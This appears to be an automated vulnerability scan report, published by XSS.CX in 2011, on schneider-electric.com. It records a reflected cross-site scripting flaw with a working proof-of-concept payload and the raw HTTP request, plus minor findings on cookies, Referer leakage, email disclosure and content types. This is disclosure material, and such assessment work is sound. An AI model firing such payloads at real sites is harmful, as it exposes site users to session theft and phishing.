XSS, schneider-electric.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX Home at Fri Mar 04 11:50:09 CST 2011.


The DORK Report

Loading

XSS.CX Home XSS.CX Research Blog

1. Cross-site scripting (reflected)

2. Cookie without HttpOnly flag set

3. Cross-domain Referer leakage

4. Email addresses disclosed

5. Content type incorrectly stated

5.1. http://www.schneider-electric.com/gc_1_0/images/Greenline.jpg

5.2. http://www.schneider-electric.com/gc_1_0/js/xiti_interface.js



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.schneider-electric.com
Path:   /sites/corporate/en/products-services/electrical-distribution/electrical-distribution.page

Issue detail

The value of the f request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a88b2</script><script>alert(1)</script>6c5dd40e551 was submitted in the f parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /sites/corporate/en/products-services/electrical-distribution/electrical-distribution.page?f=F13%3AElectrical%20Distributiona88b2</script><script>alert(1)</script>6c5dd40e551 HTTP/1.1
Host: www.schneider-electric.com
Proxy-Connection: keep-alive
Referer: http://www.schneider-electric.com/sites/corporate/en/home.page
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: crm_cookieEnabled=1; ctr=1; rndNumber=40.69441093597561; crmseen=seen; __utmz=214032840.1299259098.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=214032840.208545965.1299259098.1299259098.1299259098.1; __utmc=214032840; __utmb=214032840.1.10.1299259098; xtvrn=$225304$; JSESSIONID=AC8446D287A0D57042516E28D3A96318.corp86

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
login_Header: no
Content-Type: text/html;charset=UTF-8
Date: Fri, 04 Mar 2011 17:19:16 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 57757

<html><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Electrical Distribution - Schneider Electric</title><meta content="Explore Schneider Electric Electrical Distribut
...[SNIP]...
nding.page?';
var l4 = '';
var theWidth = 750;
var bkArray = new Array();

bkArray[bkArray.length] = ['Products and Services',''];


bkArray[bkArray.length] = ['Electrical Distributiona88b2</script><script>alert(1)</script>6c5dd40e551','L1.Page?f=F13%3AElectrical+Distributiona88b2%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E6c5dd40e551'];


function writeBreadcrumb() {
//alert("Inside writeBreadCrumb");
va
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.schneider-electric.com
Path:   /documents/flash/en/shared/home-rotative-banner/datas/application.xml

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /documents/flash/en/shared/home-rotative-banner/datas/application.xml HTTP/1.1
Host: www.schneider-electric.com
Proxy-Connection: keep-alive
Referer: http://www.schneider-electric.com/documents/flash/en/shared/home-rotative-banner/main.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: crm_cookieEnabled=1; ctr=1; rndNumber=40.69441093597561; crmseen=seen; __utmz=214032840.1299259098.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=214032840.208545965.1299259098.1299259098.1299259098.1; __utmc=214032840; __utmb=214032840.1.10.1299259098; xtvrn=$225304$

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"1237-1298386948000"
Last-Modified: Tue, 22 Feb 2011 15:02:28 GMT
Content-Type: text/xml
Date: Fri, 04 Mar 2011 17:18:04 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=C5CECACC6FBF90ED795ACA7BB02891E0.corp85; Path=/
Content-Length: 1237

<?xml version="1.0" encoding="utf-8"?>
<application>
   
       <media>
       
           <link><![CDATA[javascript:xt_med('C','1','Keycode::86188t','N','http://www.SEreply.com/promo/get.cfm?keycode=86188t')]]></li
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.schneider-electric.com
Path:   /sites/corporate/en/products-services/electrical-distribution/electrical-distribution.page

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /sites/corporate/en/products-services/electrical-distribution/electrical-distribution.page?f=F13%3AElectrical%20Distribution HTTP/1.1
Host: www.schneider-electric.com
Proxy-Connection: keep-alive
Referer: http://www.schneider-electric.com/sites/corporate/en/home.page
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: crm_cookieEnabled=1; ctr=1; rndNumber=40.69441093597561; crmseen=seen; __utmz=214032840.1299259098.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=214032840.208545965.1299259098.1299259098.1299259098.1; __utmc=214032840; __utmb=214032840.1.10.1299259098; xtvrn=$225304$; JSESSIONID=AC8446D287A0D57042516E28D3A96318.corp86

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
login_Header: no
Content-Type: text/html;charset=UTF-8
Date: Fri, 04 Mar 2011 17:18:31 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 89578

<html><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Electrical Distribution - Schneider Electric</title><meta content="Explore Schneider Electric Electrical Distribut
...[SNIP]...
<noscript>
<object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" height="160" width="560" id="Banner_560x145_V2"><param value="exactfit" name="scale">
...[SNIP]...
<noscript>
<img alt="" height="1" width="1" src="http://logi10.xiti.com/hit.xiti?s=225304&s2=0&p=Electrical Distribution&di=0%22/>"></noscript>
...[SNIP]...
<noscript>
<img alt="" height="1" width="1" src="http://logi10.xiti.com/hit.xiti?s=225304&s2=0&p=en/products-services/electrical-distribution/electrical-distribution&di=0%22/>"></noscript>
...[SNIP]...

4. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.schneider-electric.com
Path:   /sites/corporate/en/schneider-electric-company.page

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /sites/corporate/en/schneider-electric-company.page HTTP/1.1
Host: www.schneider-electric.com
Proxy-Connection: keep-alive
Referer: http://www.schneider-electric.com/sites/corporate/en/products-services/electrical-distribution/electrical-distribution.page?f=F13%3AElectrical%20Distribution
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ctr=1; rndNumber=40.69441093597561; crmseen=seen; __utmz=214032840.1299259098.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); xtvrn=$225304$; JSESSIONID=AC8446D287A0D57042516E28D3A96318.corp86; crm_cookieEnabled=1; __utma=214032840.208545965.1299259098.1299259098.1299259098.1; __utmc=214032840; __utmb=214032840.2.10.1299259098

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
login_Header: no
Content-Type: text/html;charset=UTF-8
Date: Fri, 04 Mar 2011 17:18:41 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 56323

<html><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>The Schneider Electric Corporate Area</title><meta content="If you want to understand who we are or just &ldquo;jo
...[SNIP]...
}

function set_email_default_value() {
clearInterval(oInterval);
$('#at_to[reset!=\'true\']').val('');
$('#at_from[reset!=\'true\']').val('newsalert@schneider-electric.com');
$('#at_msg[reset!=\'true\']').val('Hello, the page below can be interesting. Best Regards, Schneider Electric Team.');
$('#at_success[reset!=\'true\']').text('Schneider Ele
...[SNIP]...

5. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


5.1. http://www.schneider-electric.com/gc_1_0/images/Greenline.jpg  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.schneider-electric.com
Path:   /gc_1_0/images/Greenline.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /gc_1_0/images/Greenline.jpg HTTP/1.1
Host: www.schneider-electric.com
Proxy-Connection: keep-alive
Referer: http://www.schneider-electric.com/sites/corporate/en/products-services/electrical-distribution/electrical-distribution.page?f=F13%3AElectrical%20Distribution
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ctr=1; rndNumber=40.69441093597561; crmseen=seen; __utmz=214032840.1299259098.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=214032840.208545965.1299259098.1299259098.1299259098.1; __utmc=214032840; __utmb=214032840.1.10.1299259098; xtvrn=$225304$; JSESSIONID=AC8446D287A0D57042516E28D3A96318.corp86; crm_cookieEnabled=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"958-1297058086000"
Last-Modified: Mon, 07 Feb 2011 05:54:46 GMT
Content-Type: image/jpeg
Content-Length: 958
Cache-Control: max-age=39686
Expires: Sat, 05 Mar 2011 04:19:57 GMT
Date: Fri, 04 Mar 2011 17:18:31 GMT
Connection: close

GIF89a....................................................................................................................................3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f......3..f....
...[SNIP]...

5.2. http://www.schneider-electric.com/gc_1_0/js/xiti_interface.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.schneider-electric.com
Path:   /gc_1_0/js/xiti_interface.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /gc_1_0/js/xiti_interface.js HTTP/1.1
Host: www.schneider-electric.com
Proxy-Connection: keep-alive
Referer: http://www.schneider-electric.com/sites/corporate/en/products-services/electrical-distribution/electrical-distribution.page?f=F13%3AElectrical%20Distribution
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ctr=1; rndNumber=40.69441093597561; crmseen=seen; __utmz=214032840.1299259098.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=214032840.208545965.1299259098.1299259098.1299259098.1; __utmc=214032840; __utmb=214032840.1.10.1299259098; xtvrn=$225304$; JSESSIONID=AC8446D287A0D57042516E28D3A96318.corp86; crm_cookieEnabled=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"28-1297058090000"
Last-Modified: Mon, 07 Feb 2011 05:54:50 GMT
Content-Type: text/javascript
Cache-Control: max-age=42863
Expires: Sat, 05 Mar 2011 05:12:57 GMT
Date: Fri, 04 Mar 2011 17:18:34 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 28

...resetXitiClickZone();




Report generated by XSS.CX Home at Fri Mar 04 11:50:09 CST 2011.